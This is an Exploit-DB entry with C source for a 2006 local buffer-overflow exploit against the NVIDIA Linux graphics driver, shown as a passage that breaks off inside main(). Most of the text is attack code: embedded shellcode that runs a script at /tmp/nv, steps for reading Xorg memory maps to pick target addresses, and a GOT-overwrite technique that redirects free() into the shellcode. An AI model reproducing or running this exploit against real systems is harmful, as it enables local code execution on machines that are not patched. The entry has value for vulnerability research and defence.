Exploit-DB #2581
Description: Nvidia Graphics Driver 8774 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-10-16
Author: Rapid7 Security

Exploit:
/*
 * Copyright (c) 2005 Matthieu Herrb
 * Copyright (c) 2006 Derek Abdine, Marc Bevand
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 *
 * Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
 * see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
 */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

#include <X11/Intrinsic.h>
#include <X11/Xft/Xft.h>

int done = 0;
unsigned long black_pixel;

/* This exploit takes two arguments:
 *    o The lowest address past X's heap.
 *    o X's data address.
 *
 *    Note the first address required is usually
 *    in the 0xbXXXXXXX range, as the exploit
 *    forces the nvidia driver to allocate a large
 *    sum of memory.
 *
 *    This information can be easily taken using:
 *    cat /proc/`pgrep Xorg`/maps | head -n 5
 *
 *    On a sample system, this was:
 *
 *    08048000-081b8000 r-xp 00000000 09:02 58721202   /usr/bin/Xorg
 *    081b8000-081c7000 rw-p 00170000 09:02 58721202   /usr/bin/Xorg
 *    081c7[PII_REDACTED]0 rw-p 081c7000 00:00 0          [heap]
 *    b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154      /dev/nvidia0
 *    b60bd000-b6112000 rw-p b60bd000 00:00 0
 *
 *    Thus, one would use:
 *
 *    ./nv_exploit 0xb5bbc000 0x081b8000
 *
 *    To run the exploit.  Note that although the exploit "best guesses"
 *    the correct spot to write the shellcode, it may be off.  This
 *    may be tweaked by modifying the 0x2C0000 in the source below.
 *    If the data is written to an incorrect location where vital
 *    X program data is stored, X will (eventually, if not immediately)
 *    crash.
 *
 *    The exploit works by overwriting the address of free() in the
 *    Global Offset Table to an address offset relative to the supplied
 *    GOT  address (second argument).  The NVIDIA driver will then call
 *    Xfree, which will in turn call free() using the overwritten GOT
 *    entry and nop slide to the shellcode.
 */


/* The shellcode below will execute a shell script located
 * at /tmp/nv. */
unsigned char shellcode[] =
   "\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
   "\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
   "\x0b\x00\x00\x00\xcd\x80";

typedef struct  {
    Display *display;
    XtAppContext app;
    Window win;
    XftFont *font;
    XftColor color, bg;
    XftDraw *draw;
    GC gc;
} XDataStr;

static void
sigHandler(int sig)
{
    done = 1;
}

int
createWin(XDataStr *data)
{
    u_long attributeMask;
    XSetWindowAttributes attribute;
    Window w;
    Display *display = data->display;
    int screen = DefaultScreen(display);
    XGCValues gc_val;
    Screen *s;

    attribute.background_pixel = WhitePixel(display, screen);
    attribute.border_pixel = WhitePixel(display, screen);
    attribute.bit_gravity = NorthWestGravity;
    attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
        ExposureMask;

    attributeMask =
        CWBorderPixel |
        CWBackPixel |
        CWEventMask |
        CWBitGravity;
    s = ScreenOfDisplay(data->display, screen);

    w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
            DisplayWidth(display, screen)/2, 150,
            0, DefaultDepth(display, screen), InputOutput,
            DefaultVisual(display, screen), attributeMask, &attribute);

    data->font = XftFontOpen(display, screen,
            XFT_FAMILY, XftTypeString, "mono",
            XFT_SIZE, XftTypeInteger, 16,
            NULL);
    if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                DefaultColormap(display, screen), "red4", &data->color)) {
        fprintf(stderr, "cannot get color");
        return -1;
    }
    if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                DefaultColormap(display, screen), "linen", &data->bg)) {
        fprintf(stderr, "cannot get bg color");
        return -1;
    }
    data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),
            DefaultColormap(display, screen));
    gc_val.foreground = BlackPixel(display, screen);
    gc_val.background = WhitePixel(display, screen);
    data->gc = XCreateGC (display, w, GCForeground|GCBackground,
            &gc_val);

    data->win = w;
    return 0;
}

void
show(XDataStr *data)
{
    Status s;

    XMapWindow(data->display, data->win);
    s = XGrabKeyboard(data->display, data->win, False,
            GrabModeAsync, GrabModeAsync, CurrentTime);
    if (s != GrabSuccess) {
        printf("Error grabing kbd %d\n", s);
    }
}

int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL